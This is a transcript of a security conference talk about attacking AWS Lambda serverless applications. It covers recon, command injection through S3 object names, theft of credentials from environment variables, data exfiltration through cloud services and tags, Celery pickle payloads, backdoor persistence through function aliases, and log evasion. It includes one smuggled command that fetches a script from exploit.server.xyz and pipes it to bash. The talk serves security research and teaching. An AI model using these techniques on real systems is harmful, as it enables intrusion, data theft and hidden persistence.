preroll music
Herald: Like in the following talk I'm
happy to introduce Rich Jones. Rich is
gonna talk about what he can do in 60
milliseconds with server-less servers.
And please give a warm
round of applause for Rich!
applause
Rich: Hi everybody! Thank you very much
for having me, for CCC for hosting, for
you guys for coming out! I appreciate it.
My name is Rich Jones. I'm the founder and
CTO of gun.io. We find awesome freelance
gigs for free and open source hackers. I'm
also the author of ZAPPA. Which is the best
damn server-less framework in the world.
It can run any python web application on
AWS lambda. You can build event driven
applications you can connect roughly
500.000 connections per second globally.
Without any operations support right
out of the box for your existing apps.
I first announced it about 6 months
ago actually at Hack & Tell event at
C-Base and now it is like used in
production by all sorts of big companies
which is pretty cool! You should try it out.
Welcome to my talk, it is called Gone in
60 Milliseconds! aka having a sexy title
gets your talk accepted at conferences.
aka Intrusion and Exfiltration in
Server-less Architectures. Whoooh. What the
hell does that mean? Quick poll. Who here
is familiar with AWS Lambda? Okay, so
about half, that's pretty good. That's
what I was expecting. Okay, great. For the
unfamiliar, the good old days of servers.
You would have the web server it would
connect to the database and that was
pretty much it it would – you'd have the
server. You'd have one server, you'ld
probably run lots of services off that
server so if you found a debug panel or
something like that, you could use one of
your favorite tools, you could get a shell
and basically run a mock I know is the
best. With the server-less architecture
this one example it uses instead of a
permanent web-server it uses this service
called AWS Lambda which provides no
permanent infrastructure Your entire
application function is held in cache by
Amazon AWS and it's spawned and destroyed
on a per-request basis. So in the space of
a single web request or whatever function
request, it creates the container, returns
and destroys the container. The code
execution is triggered by a variety of
cloud event sources every request is in an
isolated container. I'm gonna put an
asterisk next to next to isolated as you
see. The big advantage for the company is
that it's super scalable. So, because one
request is one server it means that 10
requests is 10 servers and so on and so on
and so on. So you can scale this all the
way up to like trillions of events per
year which is pretty cool. It's also much
less expensive because you pay by the
millisecond .000002 dollars per
millisecond which interestingly is now the
same in euros keep an eye on that,
I was surprised by. Security patches to the
operating system are automatic because
Amazon handles them so there is basically
you don't worry about the operating system
at all you only worry about your single
function which saves time, saves money,
and lets you fire all people who work in
OPS. Some common patterns that you see for
companies and, you know, services are
using lambda. One is just the web server
this is like if you already use zappa for
a django CMS or something like this. It's
just API gateway, another AWS service to
lambda, which is the one we saw before
Another common way that people are using
this for asynchronous data processing.
So if you have a file upload, that will then
execute the lambda function which will
store the result in a DynamoDB store and
then have that trigger the upload to the
S3 return bucket. So this is kind of like
a very simple microservice type framework
that you can use lambda for. Chat bots is
another common use case So if you having a
SMS Message or an e-mail exchange with a
robot, it could be through lambda or one
of those cool new like echo things. Maybe
we will be able to like actually hack
through those in the future using some of
these techniques. So you can kind of see
that there. And the big one that a lot of
companies are using like fintech and
medical and science companies are using
for is is kind of the driving engine for
the state machine in big data processing.
This is kind of the interesting one that
we get into a little bit more later in the
talk So the lambda kind of drives the
queue which is how the like big data
processing like compute cluster is knowing
what to do. And there is loads more of
these patterns but those are some of the
ones that I've seen pretty commonly. So
when you try to attack these kind of
applications it probably won't work. And
even if it does work, it will shut down
immediately because they live in these
short lived isolated container which is
no fun. The container dies after the
function returns. Oh no! What does that
mean for us? Us hackers. I mean it is
harder to infiltrate because there is less
common code most of the stuff is custom so
far. You can't use the same wordpress
vulnerability over and over again. The
services are isolated, the functions are
isolated, there is no users to really
escalate on the system. There's no
sysadmins to, you know, do your cool cron
tricks or whatever, for gaining
escalation. It's also harder to persist
our malware because it immediately dies as
soon as the container closes. It is also a
read-only filesystem, so we can't hide our
files deep in the operating system And
it's only a sub-second lifecycle for the
entire container anyway. There is no
initialization system to infect because
that is all taken care of by amazon and we
can't get at it. It is also harder to
exfiltrate, because there is a thing
called the virtual private cloud AWS
provides. There's also function specific
roles which means a very strict
permissioning system. A lot times we can't
get a reverse shell because there is no network
access. So basically sad face. Oh no,
we're totally boned!
No we're not, hell not, dog. When Bezos
closes a door, he opens a window.
laughter
applause
So we gonna learn some recon, some
infiltration, some exploitation, some
exfiltration and a little bit of cleanup!
Part 0: Recon aka How the hell do we know
what we're attacking? There's gonna be two
attack surfaces. An outer and inner attack
surface for a lambda function. The outer
attack surfaces are the API Gateway so if
you look at the headers and you see that
it's serving dynamic content from
CloudFront, that might an indication that
you're dealing with API Gateway.
File uploads is pretty easy if you look at
whatever the upload endpoint is and you
look at headers that says it is S3 that
probably means that it's S3. If you look at
the email headers that you you're
communication to the function with you can
see that it is Amazon SES so that is
pretty obvious. There is also the inner
attack surface. So these are services that
we can't access directly, but provide
event sources for the function, so this
can mean a whole bunch of stuff, so queues
if there are a lot of long running tasks
and it's on AWS, it is possible that they
are using the SQS queing system. But it
can also mean database events, streams of
information, user events, so logins and
user creations and stuff like that can
also be an event source. And the log
system itself can provide an event source.
Part 1 infiltration aka how the hell are
we gonna weaponize all that? So lambda
functions essentially what the application
is, is kind of like a blue ball machine here.
What we call Rube Goldberg machines.
I just learned, for the translators, that
you guys call these nonsense machines.
Essentially lots of little functions and a
lot of passing information between them.
So to figure out what's going on, we're
going to use a process of destructive
mechanics aka dropping a bolt into the
engine and then listening to the sound
that it makes to try to figure out what is
going on inside. The TL;DR of that is we
gonna attack the event sources themselves,
we're going to fire off every type of
cloud event service that we can and
basically see what shakes out. The usual
suspects for infection, unsanitized input,
deserialization bugs of all, you know all
varieties, server side script injection,
malicious binary files, and if it is a web
server, most of your favorite web
application type exploits. So just as a
very trivial example of the kind of things
that you might see here, So here is some
trivially vulnerable code it's connecting
to an S3 bucket, it's going over the items
and it's calling some process on the keys
that are in the bucket. But what happens
if we create an object called: "; curl -s
exploit.server.xyz | bash" well than
that's gonna expand because it is just
using the key name to call, you know, our
exploit code on the lambda function.
Hurray! we did it! Part 2 exploitation aka
how can we escalate our infection? aka
what the hell is a lambda? aka what's
worth stealing? So if we actually find,
you know, if we just look at the operating
system of a lambda, now that we're able to
execute commands on it. Well that won't
work as we don't have a shell, everything
on lambda had this event context pattern
in it, whatever but if we do the find and
we look at it, it pretty much looks like
standard redhat 6 installation it's got
python 2.7, interestingly it has python
3.4 on it, it's got node, it's got perl,
it's got gcc, it's got all you know, stuff
that we like. Which is pretty good. If we
look at the system even further, we'll see
that it's running an operating system
called Amazon Linux, which is the default
for EC2, so maybe it's an EC2 server.
If it's an EC2 server, can we access the
metainfo server? That's a good idea! For
For those who don't know about the meta-
data server, from Amazon docs: Instance
metadata is data about your instance that
you can use to configure or manage the
running instance, anyone who can access
the instance can view its metadata.
Therefore, you should take suitable
precautions to protect sensitive data aka
don't get hacked, because people can look
at this stuff. We can figure out all this
information including keys and users and
security groups so, you know, really good,
good intel. What happens if we try to
access the server? It doesn't work, so,
sorry. But that's a good trick to remember
if you are attacking EC2, that you can get
a lot of information out of the metainfo
server. Now you're thinking, well let's take a
look at the environment, let's look around
what's in the environment variables.
Quite a lot actually including some inter-
esting stuff like session tokens, security
tokens, access key IDs and secret access
keys. So that's pretty cool. What are
those? Enter IAM, so this is Amazons
identity and access management system
which provides per resource authentication
and authorisation definition. So basically
1 task is gonna have 1, you know, set of
authorisation to perform its functions.
It sounds bad, it is. Like it makes our
job a lot harder. The good news is that
it's super easy to fuck up! Pretty much
everybody who's using IAM has probably
fucked up. Especially if you read the
documentations which Amazon provides which
is terrible, or even badder if they got
their information from the AWS forum where
you can find like real gems of wisdom
about give everybody access to everything,
which is nice. So full disclosure,
everything all the fun stuff that we're
gonna do, does depend on them having
some misconfigured IAM even subtly
misconfigured IAM which isn't as cool, I
have to admit but it's pretty common, so I
don't think it's unreasonable to have
that, be part of our attack criteria.
So what the keys that we saw, were part of
the lambda execution policy which uses
this permission called iam:PassRole
basically you take a predefined policy for
what a function is allowed to do. It
creates a temporary user with those
permissions and gives the credentials for
that user into the userspace in those
environment variables that we saw. So this
is one of the ones that Amazon recommends,
this is the AWS VPCAccessExecutionRole
this is from Amazons documentation and
this actually provides some interesting
things that we're gonna be able to use.
Resource:* is a great one because that
means we have access to everything
available to the account We will need to
create log groups and streams, which is
kind of interesting. Describing the
network interface is also super
interesting for us. And this will come in
handy later. Okay, so we can describe the
network What about actually like infecting
the application source? Like we wanna add
a backdoor. But first, where does the code
live? So we check the environment
variables again we see this key value for
LAMBDA_TASK_ROOT which is good so we will
just cat our backdoor into the application
No that is not gonna work. Sad face,
because it's a read-only filesystem.
And even if you could, write to that, you
know, write to the filesystem, it's not
gonna persist for other users who, to call
the function because it's not cached in
memory so it would only live for the span
of a single HTTP request which we don't
care about. But, I got all of these cool,
like hacker tools I wanna install on the
system how do I do that? Fortunately there
is /tmp space on the disk because some,
you know, normal applications are gonna
need to read and write files and stuff so
/tmp is totally readable and it works as
we'd expected to. Amazon describes this as
ephemeral disk capacity. But ephemeral
isn't quite true actually, because this is
how lambda executions are not completely
isolated. For performance reasons they're
actually cached in Amazons memory across
different executions. So because /tmp is a
ram disk, and because ram is cached that
means that /tmp is cached as well, so if
we can store our tools across multiple
executions. Yay! But the caveat for that is
that we have to keep the function warm in
memory by calling it every so often That
length of time is 4 minutes, 30 seconds
Somebody violated an NDA to tell you that,
don't ask me
laughing
applause
What's cool is this actually can also
apply to long running processes aswell.
It won't keep the function open, but it
will, kind of, pause the process and then
reopen it on the next execution. So now we
can install, if we have linux x86_64
compiled versions of all our favorite
tools we could put them on to the lambda
function and start calling it. Okay, so
now we got some keys, we got some tools,
what can we do? So the first thing that we
probably wanna do, is just see what we're
allowed to do. Using the AWS CLI tool we
can call this code and we will get back a
policy, and if we're lucky, it 'll be
** and then we can do whatever we want.
Jackpot! We can create a new admin user
and pillage all the databases basically,
it's game over! Yeah right! Maybe it'll
happen probably yeah right. A very brief
interlude. If you do get the jackpot, if
you are looking at Facebook's AWS usage and
you get *****. Don't sell the user info to
spammers. Don't claim a bug bounty. Don't
just like use their creditcard to mine
bitcoin. Don't tell, you know, your
favorite TLA. Don't even send all the
information to Julian, he's busy. Bug
bounties are boring. Espionage is boring.
I'm tired of all this like spy vs spy stuff.
Use your skills of infection for awesome.
Put up a bad-ass hacking crew name, you know.
laughing
Put spooky skulls, put a bunch of
spooky skulls on facebook.
Put your IRC homies, know what's up
applause
I'm pretty serious about this, actually.
Like I think the word losing some like
aesthetic quality to our culture in
pursuit of like money and like you know,
careers and stuff like that. But I think
the aesthetic value actually has like more
worth and that over time is like, the
broader community begins to respect like
our aesthetic contributions, like the
those hacks will actually be worth more in
the long run than any bug bounty that you
'll get now. So like keep it real, anyway,
that was my side.
applause
So far more likely than ., you gonna get
some kind of like strict permission, like
the ability to access S3 objects, or the
the ability to access the database, or
some combination thereof using various,
different cloud services available. How
can we use that for nefarious purposes you
wondering. That's a great question. Part 3:
Exfiltration aka take the money and run
aka the fun part. TL;DR when you don't have
a direct network connection, to the things
that you wanna access, because you using a
cloud provider, you can use tags, meta
information, and the cloud services
themselves to shuttle information out of
the cloud. So easy mode for instance, if we
see that we have SES permissions, send,
use the email, send, you know, we have a
single function that will let us send an
email out because it's a cloud provider
that has an e-mail service. Or send a SMS,
you know, you could actually, you can hack
something and get the results back to your
virtual cellphone. Slightly harder, if you
just have S3 objects, you could, you know,
zip up the source of the application, put
it on S3 and get it out that way. The fun
thing is VPC exfiltration. So this is the
architecture that we were talking about
before It's a simple vibration but this is
this is a pretty common architecture for
big data using lambda. What is a VPC?
Great question! Amazon VPC provides
advanced security features such as
security groups and network access control
lists to enable inbound and outbound
filtering at the instance level and subnet
level. Sounds bad. It is. The good news.
Super easy to fuck up! Especially if you
read Amazons old docs and the AWS forum.
So lambda has access to these VPC resources.
aka Lambda is our VPC hole puncher.
If you're, you know, depending on how
they've implemented it, this may actually
mean that Amazon can access your internal
corporate network, which is pretty cool.
But we don't actually even need to use the
network to do that, so I'm not gonna show
you how to do that one, you figure that
out on your own, to exfil from a VPC
without touching the VPC network. So this
is our architecture. Step 1, upload the
malicious file, like I've indicated here
with a cool cyber skull. This will give us
code execution in the Lambda environment.
We gonna put out a bunch of canaries. So
we're gonna try calling SMS, e-mail, DNS,
S3, queues, everything that is available
to us, just try to put some information
out that we can read back. In this case we
see that we can type our results into the
bucket, so we can get information that way.
So we have bidirectional communication
to an owned lambda service.
When we use the keys that we've exfiltrated
that way, we look at the policy,
we see that we have the lambda VPC
access execution role from earlier, with
resource * which is nice and our
DescribeNetworkInterfaces create network
interfaces permessions that we saw
earlier, that Amazon recommends as well as
simple S3 and SQS access just for the
necessary functions that we want for the
application. Our target in this case is the
database which is still inside the VPC, so
we no access to, direct access to the
database from our lambda execution
environment because it's all wrapped up in
this VPC. But what we can do is, we can
add things to the SQS queue. And if they're
using Celery, actually uses pickle, is a
way to shuttle information about – for the
javascript developers, it's a bit like
using eval to figure out javascript. So if
we're able to add something, to, or, this
is kind of manoeuvrer, like this is use
whatever technique that,
you know, you prefer from there
to get your code on to the cluster
but we're gonna use this pickle celery bug
to create an item on the queue,
a malicious item on the queue, that will
then be picked up and run on the compute
cluster. So now we have code execution on
the cluster, but we have no way to
actually directly communicating to it,
because we're locked out of the VPC. What
do we do now? So the interesting this is
actually use meta information about the
VPC to exfil the information that we want,
so because we have the ability to describe
network interfaces, inside the VPC, we
call, we add tags, to this, to the EC2
instances and the network interfaces to
which they communicate. A lot of times
they have this permission because tagging
is useful for the admins who wanna see
what groups are owning what So we can add
the meta information about that to the
network interface itself because the
lambda has the ability to read these tags
back out, we can then get the information
that we want, we can put it through the S3
and we can extract the information
this way. So nice! This also works for the
application binaries because we can encode
something in Base64 and then put that in
the tag set, and get that out that way
Which is nice! Similarly is the compute
cluster able to modify DNS entries that we
can read, or is it able to create a named
log groups, is it able to create queues,
is it able to create buckets, etc, etc be
creative with the AWS services the're
available, there is lots! And a single
overlapping permission can be enough In
fact, even a single overlapping service
can be enough for information exfiltration
for instance you can encode information in
the length of the queue and then read that
back out you could use the same thing with
the number of number of network interfaces
that are available besides of the
database, anything like that. So that's
pretty cool! What if they fix the bug?
Persistence, aka how can we permanently
infect a system with no permanent
infrastructure? aka abusing cloud vendor
features, continued. One neat lambda
feature that is available is the idea of
function aliasing so Amazon will
automatically give you like labels for the
available functions, and store all of the
old functions with aliases for you, which
is useful for, you know, application
maintainers because they can provide
rollbacks and something goes wrong, they
can tag their dev and prod and staging
environments and stuff like that as an
audit trail. But we can also use it to
persist our malware. So we can get the
function, get the source code for any
function that's available this way, we can
upload a backdoored version of that and
then alias it to one of those previous
functions and hide it there if we need to
access it without having it, be uploaded
every time. An alternate route, which is
especially useful if the application is
being deployed by travis, or some CI
system, anything that uses CloudFormation.
CloudFormation requires the code to be
hosted on S3 permanently, for doing it's
update function. So if we just infect the
code that's on S3, the next time that the
CI updates the application stack, it'll
use our infected code, which is useful.
This is cool because if we have access to
the code buckets, than we can actually use
a single infected lambda to infect all the
other lambda functions that are available
in the stack. One better is to actually
treat the entire model serverlessly.
So imagine if we have a simple application
using the Foo lambda that's triggered when
there is a SQS event. Which is actually
gonna be one function and then all the old
functions aliased all the way back to
function 1. So if we can infect this one
with some bug that we're exploiting, and
we're able to create a backdoored function
we can use the same code, create the new
function, but it's backdoored, and then
alias that back to the first function
that'll now contain our backdoored code,
we can create an event trigger, so that
whenever new code is updated, is submitted
to the S3 bucket where the functions are
registered, that will actually trigger the
execution of our malware, which will get
the code of the new function infected with
our backdoor, recreate the function,
delete the new one, and then we have, you
know, our backdoored version of the latest
code that is permanently available for
every request, new code uploads are the
trigger for reinfection of our malware.
Part 5 cleaning up I'll go fast here, is
boring. Full disclosure, I'm not very
tidy, so be careful with all this stuff if
you need to be real stealthy. All lambda
executions have unique execution IDs, if
you just write them down, you can delete
them later. But the errors there still
gonna trigger the CloudWatch alarms, so
can you hop off the log group, that's also
available in the environment variables?
No you can't, but you can change the
retention policy, so, maybe we can just
have it's own, and hopefully they don't
look at logs. That's not very good, a
better technique is actually to don't log
anything to begin with. So because these
functions have extremely limited memory
size, cause they only build to do one
thing, if we exhaust the memory of the
function, there's not enough memory to
actually do the logging properly, so if we
wrap all of our canary code inside of
exception handlers, that'll then just
allocate all the memory that's available,
then it doesn't count as an invocation
error and it won't actually register ...
applause
Shout out to Dee, he told me that trick,
my friend. One copy out of this, one
pattern is to... time did go super fast...
if they are logging everything, the flip
side of that is that they're logging
everything so that you can go and get
everybodys password and stuff, so that's
fun. Part 6 synthesis happy Christmas,
everybody, ho ho ho, I'm Santa Claus and
I'm giving you a present I'm giving you an
AWS Lambda Infection Toolkit! Call mackenzie
you can figure out why on your own.
It can do a lot of the tricks that we
talked about today. Exfil, infiltration,
creating reinfection handlers, all the
stuff, maybe your feature, put it on
github this afternoon, check it out! In
conclusion, server-less architectures present
new obstacles, but we can defeat those
obstacles by abusing cloud features
themselves. Do you need secure serverless
apps, you should hire me.
laughing
Do you want to contribute code, you should
check out my github. You should also check
out the slack channel. Shout out to
everybody in the zappa slack, is a ton of
super smart AWS people doing interesting
things in there, thank you!
applause
Herald: Allright, perfect.
applause
Herald: Thanks a lot Rich. Unfortunately we don't
have any time left for Q&A, but, are you
gonna be around for questions, perfect.
So if you are in the room, you can just
come, ask Rich questions, if you are
remote, you've seen the contact possibilities.
closing music
subtitles created by c3subtitles.de
in the year 2017. Join, and help us!